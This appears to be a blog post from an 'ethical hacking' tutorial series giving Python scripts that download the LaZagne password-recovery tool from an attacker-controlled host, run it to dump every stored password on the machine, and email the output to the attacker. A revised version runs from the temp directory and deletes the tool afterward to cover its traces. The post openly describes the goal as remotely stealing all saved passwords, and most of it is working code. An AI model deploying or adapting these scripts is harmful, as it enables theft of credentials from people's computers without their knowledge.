• Python Ethical Hacking


    DOWNLOAD_FILE

    • Download files on a system.
    • Once packaged properly will work on all operating systems.
    • Simple but powerfull.

    Can be used in many situations:

    • download _file + execute_command = download_and_execute
    • download_file + execute_and_report = download_execute_and_report
    • ...etc
    #!/usr/bin/env python
    import requests
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

     DOWNLOAD_EXECUTE_AND_REPORT

    • Download files on a system.
    • Execute a command that uses this file.
    • Report results in our email.
    • Cross multi-Platform!!

    Ex: remotely steal all stored passwords on a computer!

    Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

    lazagne.exe --help

     Use the following command to find all the passwords in the current system.

     lazagne.exe all

     Steal saved passwords remotely

    #!/usr/bin/env python
    import requests
    import smtplib
    import subprocess
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)

    Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed. 

    #!/usr/bin/env python
    import os
    import smtplib
    import subprocess
    import requests
    import tempfile
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    temp_directory = tempfile.gettempdir()
    os.chdir(temp_directory)
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)
    os.remove("lazagne.exe")
    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    iOS下JS与OC互相调用(一)--UIWebView 拦截URL
    【转】git 删除本地分支和远程分支、本地代码回滚和远程代码库回滚
    Spring MVC的一些学习笔记-入门配置和HttpMessageConverter
    xrdp 安装后 WINDOWS远程登录出错
    树莓派(raspberry pi)更改键盘布局
    说说qwerty、dvorak、colemak三种键盘布局
    手机就能申请摇号 杭州市小客车摇号功能全新上线
    几种你不知道的获取浙A牌照的方法
    【转】则表达式匹配居民身份证
    机房收费系统之—如何查询两个日期之间的数据
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11616187.html
Copyright © 2020-2023  润新知